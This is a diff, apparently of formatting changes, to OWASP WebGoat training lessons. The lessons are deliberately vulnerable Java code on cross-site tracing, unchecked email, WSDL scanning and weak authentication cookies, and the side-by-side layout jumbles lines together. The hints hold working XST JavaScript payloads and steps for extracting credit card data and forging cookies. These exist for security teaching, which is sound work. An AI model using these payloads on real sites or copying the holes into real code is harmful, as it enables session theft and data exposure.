+ "&lt;script type=\"text/javascript\"&gt;if ( navigator.appName.indexOf(\"Microsoft\") !=-1)"
+ " {var xmlHttp = new ActiveXObject(\"Microsoft.XMLHTTP\");xmlHttp.open(\"TRACE\", \"./\", false);"
+ " xmlHttp.send();str1=xmlHttp.responseText; while (str1.indexOf(\"\\n\") > -1) str1 = str1.replace(\"\\n\",\"&lt;br&gt;\"); "
+ "document.write(str1);}&lt;/script&gt;");
return hints;
}
/** // <script type="text/javascript">if ( navigator.appName.indexOf("Microsoft") !=-1) {var xmlHttp
* DOCUMENT ME! // = new
* // ActiveXObject("Microsoft.XMLHTTP");xmlHttp.open("TRACE", "./", false);
* @return DOCUMENT ME! // xmlHttp.send();str1=xmlHttp.responseText;document.write(str1);}</script>
*/
protected Category getDefaultCategory()
{
return Category.XSS;
}
private final static Integer DEFAULT_RANKING = new Integer(130);
/** protected Integer getDefaultRanking()
* Gets the hints attribute of the AccessControlScreen object {
* return DEFAULT_RANKING;
* @return The hints value }
*/
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints
.add("Most web servers support GET/POST. Many default installations also support TRACE");
hints
.add("JavaScript has the ability to post a URL:<br>"
+ "&lt;script type=\"text/javascript\"&gt;if ( navigator.appName.indexOf(\"Microsoft\") !=-1)"
+ " {var xmlHttp = new ActiveXObject(\"Microsoft.XMLHTTP\");xmlHttp.open(\"GET\", \"./\", false);"
+ " xmlHttp.send();str1=xmlHttp.responseText; "
+ "document.write(str1);&lt;/script&gt;");
hints.add("Try changing the HTTP GET to a HTTP TRACE");
hints
.add("Try a cross site trace (XST) Command:<br>"
+ "&lt;script type=\"text/javascript\"&gt;if ( navigator.appName.indexOf(\"Microsoft\") !=-1)"
+ " {var xmlHttp = new ActiveXObject(\"Microsoft.XMLHTTP\");xmlHttp.open(\"TRACE\", \"./\", false);"
+ " xmlHttp.send();str1=xmlHttp.responseText; while (str1.indexOf(\"\\n\") > -1) str1 = str1.replace(\"\\n\",\"&lt;br&gt;\"); "
+ "document.write(str1);}&lt;/script&gt;");
return hints;
}
// <script type="text/javascript">if ( navigator.appName.indexOf("Microsoft") !=-1) {var xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");xmlHttp.open("TRACE", "./", false); xmlHttp.send();str1=xmlHttp.responseText;document.write(str1);}</script> /**
* Gets the title attribute of the AccessControlScreen object
private final static Integer DEFAULT_RANKING = new Integer(130); *
* @return The title value
*/
protected Integer getDefaultRanking() public String getTitle()
{ {
return DEFAULT_RANKING; return ("Cross Site Tracing (XST) Attacks");
} }
/**
* Gets the title attribute of the AccessControlScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("Cross Site Tracing (XST) Attacks");
}
} }

View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.text.Format; import java.text.Format;
@ -7,7 +8,6 @@ import java.util.Arrays;
import java.util.Date; import java.util.Date;
import java.util.List; import java.util.List;
import java.util.Properties; import java.util.Properties;
import javax.mail.Message; import javax.mail.Message;
import javax.mail.MessagingException; import javax.mail.MessagingException;
import javax.mail.PasswordAuthentication; import javax.mail.PasswordAuthentication;
@ -15,7 +15,6 @@ import javax.mail.Session;
import javax.mail.Transport; import javax.mail.Transport;
import javax.mail.internet.InternetAddress; import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeMessage; import javax.mail.internet.MimeMessage;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement; import org.apache.ecs.StringElement;
@ -34,32 +33,31 @@ import org.apache.ecs.html.TextArea;
import org.owasp.webgoat.session.ECSFactory; import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
@ -121,7 +119,8 @@ public class UncheckedEmail extends LessonAdapter
{ {
Message sentMessage = sendGoogleMail(to, subject, message, emailFromAddress, gId, gPass); Message sentMessage = sendGoogleMail(to, subject, message, emailFromAddress, gId, gPass);
formatMail(ec, sentMessage); formatMail(ec, sentMessage);
} else }
else
{ {
sendSimulatedMail(ec, to, subject, message); sendSimulatedMail(ec, to, subject, message);
} }
@ -132,8 +131,7 @@ public class UncheckedEmail extends LessonAdapter
{ {
makeSuccess(s); makeSuccess(s);
} }
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
@ -146,7 +144,7 @@ public class UncheckedEmail extends LessonAdapter
try try
{ {
ec.addElement(new Center().addElement(new B().addElement("You sent the following message to: " ec.addElement(new Center().addElement(new B().addElement("You sent the following message to: "
+ Arrays.asList(sentMessage.getAllRecipients())))); + Arrays.asList(sentMessage.getAllRecipients()))));
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(new StringElement("<b>MAIL FROM:</b> " + Arrays.asList(sentMessage.getReplyTo()))); ec.addElement(new StringElement("<b>MAIL FROM:</b> " + Arrays.asList(sentMessage.getReplyTo())));
ec.addElement(new BR()); ec.addElement(new BR());
@ -154,7 +152,7 @@ public class UncheckedEmail extends LessonAdapter
ec.addElement(new BR()); ec.addElement(new BR());
ec ec
.addElement(new StringElement("<b>Message-ID:</b> " .addElement(new StringElement("<b>Message-ID:</b> "
+ Arrays.asList(sentMessage.getHeader("Message-ID")))); + Arrays.asList(sentMessage.getHeader("Message-ID"))));
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(new StringElement("<b>Date:</b> " + sentMessage.getSentDate())); ec.addElement(new StringElement("<b>Date:</b> " + sentMessage.getSentDate()));
ec.addElement(new BR()); ec.addElement(new BR());
@ -164,8 +162,7 @@ public class UncheckedEmail extends LessonAdapter
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(new StringElement(sentMessage.getContent().toString())); ec.addElement(new StringElement(sentMessage.getContent().toString()));
} } catch (Exception e)
catch (Exception e)
{ {
// TODO Auto-generated catch block // TODO Auto-generated catch block
ec.addElement(new StringElement("Fatal error while sending message")); ec.addElement(new StringElement("Fatal error while sending message"));
@ -241,13 +238,13 @@ public class UncheckedEmail extends LessonAdapter
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement( tr.addElement(new TD().addElement(
"We value your comments. " + "To send OWASP your questions or comments " "We value your comments. " + "To send OWASP your questions or comments "
+ "regarding the WebGoat tool, please enter your " + "regarding the WebGoat tool, please enter your "
+ "comments below. The information you provide will be " + "comments below. The information you provide will be "
+ "handled according to our <U>Privacy Policy</U>.").setColSpan(2)); + "handled according to our <U>Privacy Policy</U>.").setColSpan(2));
tr.addElement(new TD().addElement( tr.addElement(new TD().addElement(
"<b>OWASP</B><BR>" + "9175 Guilford Rd <BR> Suite 300 <BR>" "<b>OWASP</B><BR>" + "9175 Guilford Rd <BR> Suite 300 <BR>"
+ "Columbia, MD. 21046").setVAlign("top")); + "Columbia, MD. 21046").setVAlign("top"));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
@ -325,7 +322,7 @@ public class UncheckedEmail extends LessonAdapter
} }
private Message sendGoogleMail(String recipients, String subject, String message, String from, private Message sendGoogleMail(String recipients, String subject, String message, String from,
final String mailAccount, final String mailPassword) throws MessagingException final String mailAccount, final String mailPassword) throws MessagingException
{ {
boolean debug = false; boolean debug = false;
@ -402,10 +399,9 @@ public class UncheckedEmail extends LessonAdapter
*/ */
public String getInstructions(WebSession s) public String getInstructions(WebSession s)
{ {
String instructions = String instructions = "This form is an example of a customer support page. Using the form below try to:<br>"
"This form is an example of a customer support page. Using the form below try to:<br>" + "1) Send a malicious script to the website admin.<br>"
+ "1) Send a malicious script to the website admin.<br>" + "2) Send a malicious script to a 'friend' from OWASP.<br>";
+ "2) Send a malicious script to a 'friend' from OWASP.<br>";
return (instructions); return (instructions);
} }

View File

@ -1,9 +1,8 @@
/* /*
* Created on May 26, 2005 * Created on May 26, 2005 TODO To change the template for this generated file go to Window -
* * Preferences - Java - Code Style - Code Templates
* TODO To change the template for this generated file go to
* Window - Preferences - Java - Code Style - Code Templates
*/ */
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.rmi.RemoteException; import java.rmi.RemoteException;
@ -13,11 +12,9 @@ import java.sql.ResultSet;
import java.sql.SQLException; import java.sql.SQLException;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import javax.xml.namespace.QName; import javax.xml.namespace.QName;
import javax.xml.rpc.ParameterMode; import javax.xml.rpc.ParameterMode;
import javax.xml.rpc.ServiceException; import javax.xml.rpc.ServiceException;
import org.apache.axis.client.Call; import org.apache.axis.client.Call;
import org.apache.axis.client.Service; import org.apache.axis.client.Service;
import org.apache.axis.encoding.XMLType; import org.apache.axis.encoding.XMLType;
@ -33,327 +30,288 @@ import org.apache.ecs.html.Select;
import org.apache.ecs.html.TD; import org.apache.ecs.html.TD;
import org.apache.ecs.html.TR; import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table; import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.DatabaseUtilities; import org.owasp.webgoat.session.DatabaseUtilities;
import org.owasp.webgoat.session.ECSFactory; import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.session.WebgoatContext; import org.owasp.webgoat.session.WebgoatContext;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
* @author asmolen * @author asmolen
* *
* TODO To change the template for this generated type comment go to * TODO To change the template for this generated type comment go to Window - Preferences - Java -
* Window - Preferences - Java - Code Style - Code Templates * Code Style - Code Templates
*/ */
public class WSDLScanning extends LessonAdapter public class WSDLScanning extends LessonAdapter
{ {
static boolean completed = false; static boolean completed = false;
static boolean beenRestartedYet = false; static boolean beenRestartedYet = false;
public final static String firstName = "getFirstName"; public final static String firstName = "getFirstName";
public final static String lastName = "getLastName"; public final static String lastName = "getLastName";
public final static String loginCount = "getLoginCount"; public final static String loginCount = "getLoginCount";
public final static String ccNumber = "getCreditCard"; public final static String ccNumber = "getCreditCard";
final static IMG CREDITS_LOGO = new IMG("images/logos/parasoft.jpg") final static IMG CREDITS_LOGO = new IMG("images/logos/parasoft.jpg").setAlt("Parasoft").setBorder(0).setHspace(0)
.setAlt("Parasoft").setBorder(0).setHspace(0).setVspace(0); .setVspace(0);
private static WebgoatContext webgoatContext; private static WebgoatContext webgoatContext;
/** /**
* We maintain a static reference to WebgoatContext, since this class * We maintain a static reference to WebgoatContext, since this class is also automatically
* is also automatically instantiated by the Axis web services module, * instantiated by the Axis web services module, which does not call setWebgoatContext()
* which does not call setWebgoatContext()
* (non-Javadoc) * (non-Javadoc)
*
* @see org.owasp.webgoat.lessons.AbstractLesson#setWebgoatContext(org.owasp.webgoat.session.WebgoatContext) * @see org.owasp.webgoat.lessons.AbstractLesson#setWebgoatContext(org.owasp.webgoat.session.WebgoatContext)
*/ */
@Override @Override
public void setWebgoatContext(WebgoatContext webgoatContext) { public void setWebgoatContext(WebgoatContext webgoatContext)
{
WSDLScanning.webgoatContext = webgoatContext; WSDLScanning.webgoatContext = webgoatContext;
} }
@Override @Override
public WebgoatContext getWebgoatContext() { public WebgoatContext getWebgoatContext()
{
return WSDLScanning.webgoatContext; return WSDLScanning.webgoatContext;
} }
protected Category getDefaultCategory() protected Category getDefaultCategory()
{
return Category.WEB_SERVICES;
}
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints
.add("Try connecting to the WSDL with a browser or Web Service tool.");
hints
.add("Sometimes the WSDL will define methods that are not available through a web API. "
+ "Try to find operations that are in the WSDL, but not part of this API");
hints
.add("The URL for the web service is: http://localost/WebGoat/services/WSDLScanning <br>"
+ "The WSDL can usually be viewed by adding a ?WSDL on the end of the request.");
hints
.add("Look in the WSDL for the getCreditCard operation and insert the field in an intercepted request.");
return hints;
}
private final static Integer DEFAULT_RANKING = new Integer(120);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
public String getTitle()
{
return "WSDL Scanning";
}
public Object accessWGService(String serv, int port, String proc,
String parameterName, Object parameterValue)
{
String targetNamespace = "WebGoat";
try
{ {
QName serviceName = new QName(targetNamespace, serv); return Category.WEB_SERVICES;
QName operationName = new QName(targetNamespace, proc);
Service service = new Service();
Call call = (Call) service.createCall();
call.setOperationName(operationName);
call.addParameter(parameterName, serviceName, ParameterMode.INOUT);
call.setReturnType(XMLType.XSD_STRING);
call.setUsername("guest");
call.setPassword("guest");
call.setTargetEndpointAddress("http://localhost:" + port + "/WebGoat/services/"
+ serv);
Object result = call.invoke(new Object[] { parameterValue });
return result;
} }
catch (RemoteException e)
protected List<String> getHints(WebSession s)
{ {
e.printStackTrace(); List<String> hints = new ArrayList<String>();
hints.add("Try connecting to the WSDL with a browser or Web Service tool.");
hints.add("Sometimes the WSDL will define methods that are not available through a web API. "
+ "Try to find operations that are in the WSDL, but not part of this API");
hints.add("The URL for the web service is: http://localost/WebGoat/services/WSDLScanning <br>"
+ "The WSDL can usually be viewed by adding a ?WSDL on the end of the request.");
hints.add("Look in the WSDL for the getCreditCard operation and insert the field in an intercepted request.");
return hints;
} }
catch (ServiceException e)
private final static Integer DEFAULT_RANKING = new Integer(120);
protected Integer getDefaultRanking()
{ {
e.printStackTrace(); return DEFAULT_RANKING;
} }
catch (Exception e)
public String getTitle()
{ {
e.printStackTrace(); return "WSDL Scanning";
} }
return null;
}
public Object accessWGService(String serv, int port, String proc, String parameterName, Object parameterValue)
protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer();
Table t1 = new Table().setCellSpacing(0).setCellPadding(2);
if (s.isColor())
{ {
t1.setBorder(1); String targetNamespace = "WebGoat";
} try
TR tr = new TR();
tr.addElement(new TD("Enter your account number: "));
tr.addElement(new TD(new Input(Input.TEXT, "id", "101")));
t1.addElement(tr);
tr = new TR();
tr.addElement(new TD("Select the fields to return: "));
tr.addElement(new TD(new Select("field").setMultiple(true).addElement(
new Option(firstName).addElement("First Name")).addElement(
new Option(lastName).addElement("Last Name")).addElement(
new Option(loginCount).addElement("Login Count"))));
t1.addElement(tr);
tr = new TR();
Element b = ECSFactory.makeButton("Submit");
tr.addElement(new TD(b).setAlign("CENTER").setColSpan(2));
t1.addElement(tr);
ec.addElement(t1);
try
{
String[] fields = s.getParser().getParameterValues("field");
int id = s.getParser().getIntParameter("id");
Table t = new Table().setCellSpacing(0).setCellPadding(2)
.setBorder(1);
if (s.isColor())
{
t.setBorder(1);
}
TR header = new TR();
TR results = new TR();
int port = s.getRequest().getServerPort();
for (int i = 0; i < fields.length; i++)
{
header.addElement(new TD().addElement(fields[i]));
results.addElement(new TD()
.addElement((String) accessWGService("WSDLScanning", port,
fields[i], "acct_num", new Integer(id))));
}
if (fields.length == 0)
{
s.setMessage("Please select a value to return.");
}
t.addElement(header);
t.addElement(results);
ec.addElement(new P().addElement(t));
}
catch (Exception e)
{
}
try
{
A a = new A("services/WSDLScanning?WSDL", "WebGoat WSDL File");
ec
.addElement(new P()
.addElement("View the web services definition language (WSDL) to see the complete API:"));
ec.addElement(new BR());
ec.addElement(a);
//getLessonTracker( s ).setCompleted( completed );
if (completed && !getLessonTracker(s).getCompleted()
&& !beenRestartedYet)
{
makeSuccess(s);
beenRestartedYet = true;
}
else if (completed && !getLessonTracker(s).getCompleted()
&& beenRestartedYet)
{
completed = false;
beenRestartedYet = false;
}
// accessWGService("WSDLScanning", "getCreditCard", "acct_num", new Integer(101));
}
catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
return (ec);
}
public String getResults(int id, String field)
{
try
{
Connection connection = DatabaseUtilities.getConnection("guest", getWebgoatContext());
PreparedStatement ps = connection
.prepareStatement("SELECT * FROM user_data WHERE userid = ?");
ps.setInt(1, id);
try
{
ResultSet results = ps.executeQuery();
if ((results != null) && (results.next() == true))
{ {
return results.getString(field); QName serviceName = new QName(targetNamespace, serv);
QName operationName = new QName(targetNamespace, proc);
Service service = new Service();
Call call = (Call) service.createCall();
call.setOperationName(operationName);
call.addParameter(parameterName, serviceName, ParameterMode.INOUT);
call.setReturnType(XMLType.XSD_STRING);
call.setUsername("guest");
call.setPassword("guest");
call.setTargetEndpointAddress("http://localhost:" + port + "/WebGoat/services/" + serv);
Object result = call.invoke(new Object[] { parameterValue });
return result;
} catch (RemoteException e)
{
e.printStackTrace();
} catch (ServiceException e)
{
e.printStackTrace();
} catch (Exception e)
{
e.printStackTrace();
} }
} return null;
catch (SQLException sqle)
{}
} }
catch (Exception e)
{}
return null;
}
protected Element createContent(WebSession s)
public String getCreditCard(int id)
{
String result = getResults(id, "cc_number");
if (result != null)
{ {
completed = true; ElementContainer ec = new ElementContainer();
return result;
Table t1 = new Table().setCellSpacing(0).setCellPadding(2);
if (s.isColor())
{
t1.setBorder(1);
}
TR tr = new TR();
tr.addElement(new TD("Enter your account number: "));
tr.addElement(new TD(new Input(Input.TEXT, "id", "101")));
t1.addElement(tr);
tr = new TR();
tr.addElement(new TD("Select the fields to return: "));
tr.addElement(new TD(new Select("field").setMultiple(true).addElement(
new Option(firstName)
.addElement("First Name"))
.addElement(new Option(lastName).addElement("Last Name"))
.addElement(new Option(loginCount).addElement("Login Count"))));
t1.addElement(tr);
tr = new TR();
Element b = ECSFactory.makeButton("Submit");
tr.addElement(new TD(b).setAlign("CENTER").setColSpan(2));
t1.addElement(tr);
ec.addElement(t1);
try
{
String[] fields = s.getParser().getParameterValues("field");
int id = s.getParser().getIntParameter("id");
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1);
if (s.isColor())
{
t.setBorder(1);
}
TR header = new TR();
TR results = new TR();
int port = s.getRequest().getServerPort();
for (int i = 0; i < fields.length; i++)
{
header.addElement(new TD().addElement(fields[i]));
results.addElement(new TD().addElement((String) accessWGService("WSDLScanning", port, fields[i],
"acct_num", new Integer(id))));
}
if (fields.length == 0)
{
s.setMessage("Please select a value to return.");
}
t.addElement(header);
t.addElement(results);
ec.addElement(new P().addElement(t));
} catch (Exception e)
{
}
try
{
A a = new A("services/WSDLScanning?WSDL", "WebGoat WSDL File");
ec.addElement(new P()
.addElement("View the web services definition language (WSDL) to see the complete API:"));
ec.addElement(new BR());
ec.addElement(a);
// getLessonTracker( s ).setCompleted( completed );
if (completed && !getLessonTracker(s).getCompleted() && !beenRestartedYet)
{
makeSuccess(s);
beenRestartedYet = true;
}
else if (completed && !getLessonTracker(s).getCompleted() && beenRestartedYet)
{
completed = false;
beenRestartedYet = false;
}
// accessWGService("WSDLScanning", "getCreditCard", "acct_num", new Integer(101));
} catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
return (ec);
} }
return null;
}
public String getResults(int id, String field)
public String getFirstName(int id)
{
String result = getResults(id, "first_name");
if (result != null)
{ {
return result; try
{
Connection connection = DatabaseUtilities.getConnection("guest", getWebgoatContext());
PreparedStatement ps = connection.prepareStatement("SELECT * FROM user_data WHERE userid = ?");
ps.setInt(1, id);
try
{
ResultSet results = ps.executeQuery();
if ((results != null) && (results.next() == true)) { return results.getString(field); }
} catch (SQLException sqle)
{
}
} catch (Exception e)
{
}
return null;
} }
return null;
}
public String getCreditCard(int id)
public String getLastName(int id)
{
String result = getResults(id, "last_name");
if (result != null)
{ {
return result; String result = getResults(id, "cc_number");
if (result != null)
{
completed = true;
return result;
}
return null;
} }
return null;
}
public String getFirstName(int id)
public String getLoginCount(int id)
{
String result = getResults(id, "login_count");
if (result != null)
{ {
return result; String result = getResults(id, "first_name");
if (result != null) { return result; }
return null;
} }
return null;
}
public String getLastName(int id)
{
String result = getResults(id, "last_name");
if (result != null) { return result; }
return null;
}
public Element getCredits() public String getLoginCount(int id)
{ {
return super.getCustomCredits("By Alex Smolen", CREDITS_LOGO); String result = getResults(id, "login_count");
} if (result != null) { return result; }
return null;
}
public Element getCredits()
{
return super.getCustomCredits("By Alex Smolen", CREDITS_LOGO);
}
} }

View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.util.ArrayList; import java.util.ArrayList;
@ -18,32 +19,31 @@ import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table; import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.*; import org.owasp.webgoat.session.*;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
@ -52,8 +52,10 @@ import org.owasp.webgoat.session.*;
*/ */
public class WeakAuthenticationCookie extends LessonAdapter public class WeakAuthenticationCookie extends LessonAdapter
{ {
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement( public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0)); .addElement(
new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
.setVspace(0));
/** /**
* Description of the Field * Description of the Field
@ -90,21 +92,16 @@ public class WeakAuthenticationCookie extends LessonAdapter
if (cookie != null) if (cookie != null)
{ {
if (cookie.equals(encode("webgoat12345"))) if (cookie.equals(encode("webgoat12345"))) { return ("webgoat"); }
{
return ("webgoat");
}
if (cookie.equals(encode("aspect12345"))) if (cookie.equals(encode("aspect12345"))) { return ("aspect"); }
{
return ("aspect");
}
if (cookie.equals(encode("alice12345"))) if (cookie.equals(encode("alice12345")))
{ {
makeSuccess(s); makeSuccess(s);
return ("alice"); return ("alice");
} else }
else
{ {
s.setMessage("Invalid cookie"); s.setMessage("Invalid cookie");
s.eatCookies(); s.eatCookies();
@ -135,7 +132,8 @@ public class WeakAuthenticationCookie extends LessonAdapter
if (username.equals("webgoat") && password.equals("webgoat")) if (username.equals("webgoat") && password.equals("webgoat"))
{ {
loginID = encode("webgoat12345"); loginID = encode("webgoat12345");
} else if (username.equals("aspect") && password.equals("aspect")) }
else if (username.equals("aspect") && password.equals("aspect"))
{ {
loginID = encode("aspect12345"); loginID = encode("aspect12345");
} }
@ -147,7 +145,8 @@ public class WeakAuthenticationCookie extends LessonAdapter
s.getResponse().addCookie(newCookie); s.getResponse().addCookie(newCookie);
return (username); return (username);
} else }
else
{ {
s.setMessage("Invalid username and password entered."); s.setMessage("Invalid username and password entered.");
} }
@ -179,19 +178,12 @@ public class WeakAuthenticationCookie extends LessonAdapter
{ {
String user = checkCookie(s); String user = checkCookie(s);
if ((user != null) && (user.length() > 0)) if ((user != null) && (user.length() > 0)) { return (makeUser(s, user, "COOKIE")); }
{
return (makeUser(s, user, "COOKIE"));
}
user = checkParams(s); user = checkParams(s);
if ((user != null) && (user.length() > 0)) if ((user != null) && (user.length() > 0)) { return (makeUser(s, user, "PARAMETERS")); }
{ } catch (Exception e)
return (makeUser(s, user, "PARAMETERS"));
}
}
catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
@ -244,10 +236,7 @@ public class WeakAuthenticationCookie extends LessonAdapter
for (int i = 0; i < cookies.length; i++) for (int i = 0; i < cookies.length; i++)
{ {
if (cookies[i].getName().equalsIgnoreCase(AUTHCOOKIE)) if (cookies[i].getName().equalsIgnoreCase(AUTHCOOKIE)) { return (cookies[i].getValue()); }
{
return (cookies[i].getValue());
}
} }
return (null); return (null);
@ -265,9 +254,9 @@ public class WeakAuthenticationCookie extends LessonAdapter
hints.add("Is the AuthCookie value guessable knowing the username and password?"); hints.add("Is the AuthCookie value guessable knowing the username and password?");
hints.add("Add 'AuthCookie=********;' to the Cookie: header using " hints.add("Add 'AuthCookie=********;' to the Cookie: header using "
+ "<A href=\"http://www.owasp.org/development/webscarab\">WebScarab</A>."); + "<A href=\"http://www.owasp.org/development/webscarab\">WebScarab</A>.");
hints.add("After logging in as webgoat a cookie is added. 65432ubphcfx<br/>" + hints.add("After logging in as webgoat a cookie is added. 65432ubphcfx<br/>"
"After logging in as aspect a cookie is added. 65432udfqtb<br/>" + + "After logging in as aspect a cookie is added. 65432udfqtb<br/>"
"Is there anything similar about the cookies and the login names?"); + "Is there anything similar about the cookies and the login names?");
return hints; return hints;
} }
@ -320,9 +309,9 @@ public class WeakAuthenticationCookie extends LessonAdapter
} }
TR tr = new TR(); TR tr = new TR();
tr.addElement(new TH().addElement( tr.addElement(new TH()
"Please sign in to your account. See the OWASP admin if you do not have an account.").setColSpan(2) .addElement("Please sign in to your account. See the OWASP admin if you do not have an account.")
.setAlign("left")); .setColSpan(2).setAlign("left"));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();

View File

@ -1,10 +1,9 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import javax.servlet.http.Cookie; import javax.servlet.http.Cookie;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement; import org.apache.ecs.StringElement;
